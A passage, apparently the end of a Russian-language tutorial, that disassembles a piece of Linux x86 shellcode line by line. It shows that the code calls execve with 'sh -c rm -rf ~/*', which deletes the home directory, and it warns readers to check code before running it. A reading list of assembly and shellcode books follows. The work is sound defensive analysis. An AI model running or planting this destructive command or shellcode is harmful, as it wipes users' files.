00000008 8D5D0B lea ebx,[ebp+0xb] ; Store the address of "-c" in EBX
0000000B 53 push ebx ; and push it on the stack
0000000C 8D5D08 lea ebx,[ebp+0x8] ; Store the address of "sh" in EBX
0000000F 53 push ebx ; and push it on the stack
00000010 89EB mov ebx,ebp ; Store the address of "/bin/sh" in
; EBX (first arg to execve())
00000012 89E1 mov ecx,esp ; Store the stack pointer to ECX (ESP
; points to"sh", "-c", "rm...")
00000014 31D2 xor edx,edx ; Third arg to execve()
00000016 B00B mov al,0xb ; Number of the execve() syscall
00000018 CD80 int 0x80 ; Execute the syscall
0000001A 89C3 mov ebx,eax ; Store 0xb in EBX (exit code=11)
0000001C 31C0 xor eax,eax ; Zero out EAX
0000001E 40 inc eax ; EAX=1 (number of the exit() syscall)
0000001F CD80 int 0x80 ; Execute the syscall

Отсюда ясно видим, что execve(2) вызван с массивом аргументов sh, -c, rm -rf ~/* 2>/dev/null. Так что проверка кода перед запуском никогда не вредит!

Bibliography

http://www.linux.com/learn/docs/ldp/428-assembly-howto – Linux Assembly HOWTO
http://asm.sourceforge.net/intro/Assembly-Intro.html – Introduction to UNIX assembly programming
http://asm.sourceforge.net/articles/linasm.html – Using Assembly Language in Linux
http://www.drpaulcarter.com/pcasm/redir.php?file=pcasmbook-pdf.zip – PC Assembly Tutorial
http://www.enderunix.org/docs/en/sc-en.txt – Designing Shellcode Demystified
http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0764544683.html – The Shellcoder's Handbook, Koziol et al., Wiley, 2004

Назад